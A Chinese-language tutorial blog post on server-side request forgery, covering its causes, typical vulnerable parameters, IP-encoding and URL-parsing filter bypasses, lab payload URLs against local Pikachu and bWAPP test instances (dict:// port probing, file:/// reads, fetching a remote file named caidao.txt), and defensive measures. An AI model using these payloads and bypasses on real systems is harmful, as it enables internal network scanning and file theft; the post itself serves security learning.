SSRF

作者: _Beginner | 来源:发表于2020-04-11 22:16 被阅读0次

一.本文介绍

1、本文介绍SSRF形成原因、用途、出没位置、dict、端口扫描、文件读取、绕过、防御。


二.学习步骤

1、概述:

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

注释:除了http/https等方式可以造成ssrf,类似tcp connect 方式也可以探测内网一些ip 的端口是否开发服务,只不过危害比较小而已。

2、SSRF形成原因

 SSRF 形成的原因 大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。

3、SSRF用途

攻击者利用ssrf可以实现的攻击主要有5种::

 1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;

2.攻击运行在内网或本地的应用程序(比如溢出);

3.对内网web应用进行指纹识别,通过访问默认文件实现;

4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);

5.利用file协议读取本地文件等。

4、SSRF漏洞出没位置

注:个人觉得所有调外部资源的参数都有可能存在ssrf漏洞

1)分享:通过URL地址分享网页内容

2)转码服务

3)在线翻译

4)图片加载与下载:通过URL地址加载或下载图片

5)图片、文章收藏功能

6)未公开的api实现以及其他调用URL的功能

7)从URL关键字中寻找

share

wap

url

link

src

source

target

u

3g

display

sourceURl

imageURL

domain

5、绕过

1、更改IP地址写法

一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式:

^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$

^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

对于这种过滤我们可以采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址我们可以改写成:

(1)、8进制格式:0300.0250.0.1

(2)、16进制格式:0xC0.0xA8.0.1

(3)、10进制整数格式:3232235521

(4)、16进制整数格式:0xC0A80001

还有一种特殊的省略模式,例如10.0.0.1这个IP可以写成10.1

2、利用解析URL所出现的问题

在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。

http://www.oldboyedu.com@192.168.0.1/

当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.oldboyedu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.oldboyedu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容。

6、实验:

1. dict端口探测:
http://192.168.1.224:8082/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.1.10:80/info

2. 端口扫描:
http://192.168.1.224:8082/bwapp/rlfi.php?language=http://192.168.1.224:8082/bwapp/ssrf.txt  &action=go 
ip=192.168.1.10

3. 读取文件、http协议:
http://192.168.1.224:8082/bwapp/rlfi.php?language=file:///c:/1.txt
http://192.168.1.224:8082/bwapp/rlfi.php?language=http://192.168.1.10/caidao.txt&action=go

读取文件 http解析

7、ssrf 的防范方法

1. 防护措施

(黑名单)

(1)过滤10.0.0.0/8 、172.16.0.0/12、192.168.0.0/16、localhost私有地址​、IPv6地址

(2)过滤file:///、dict://、gopher://、ftp:// 危险schema

(3)​对返回的内容进行识别

(4)内网服务开启鉴权​(Memcached, Redis,

Elasticsearch and MongoDB)

2. 最佳防护

(1)使用地址白名单

(2)对返回内容进行识别

(3)需要使用互联网资源(比如贴吧使用网络图片)而无法使用白名单的情况:首先禁用 CURLOPT_FOLLOWLOCATION;然后通过域名获取目标ip,并过滤内部ip;最后识别返回的内容是否与假定内容一致

相关文章

  • 第五章 CSRF攻击

    要点 CSRF CSRF 防护 SSRF SSRF防护 一、CSRF攻击 CSRF(Cross-Site Requ...

  • 聊一聊ssrf漏洞的挖掘思路与技巧

    所以此文章的内容除了干货还是干货,如果你看完了还是不会挖ssrf,那可以来找我 前言 什么是ssrf SSRF(S...

  • SSRF漏洞学习

    什么是 SSRF ? 简介:SSRF(Server-Side Request Forgery)服务端请求伪造,是一...

  • ssrf

    SSRF漏洞是如何产生的? SSRF(Server-Side Request Forgery:服务器端请求伪造) ...

  • SSRF

    SSRF漏洞是如何产生的? SSRF(Server-Side Request Forgery:服务器端请求伪造) ...

  • 6月安恒杯web2 —— 一道SSRF题

    title: 一道SSRF题date: 2019-07-04 13:42:44tags:- CTF- SSRF- ...

  • ssrf攻击内网应用

    一、weblogic ssrf攻击redis Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTT...

  • CTFer成长之路-Web进阶之SSRF漏洞

    SSRF漏洞 SSRF(Server Side Request Forgery,服务端请求伪造)是一种攻击者通过构...

  • SSRF

    0x00原理 一般的请求:客户端发起请求,服务器响应。 另外一种请求:客户端发起请求(向服务端提供一个URL),服...

  • SSRF

    SSRF SSRF的危害 可以扫描内部网络可以构造数据攻击内部主机 漏洞挖掘 其实只要能对外发起网络请求就有可能存...

网友评论

      本文标题:SSRF

      本文链接:https://www.haomeiwen.com/subject/qvbjmhtx.html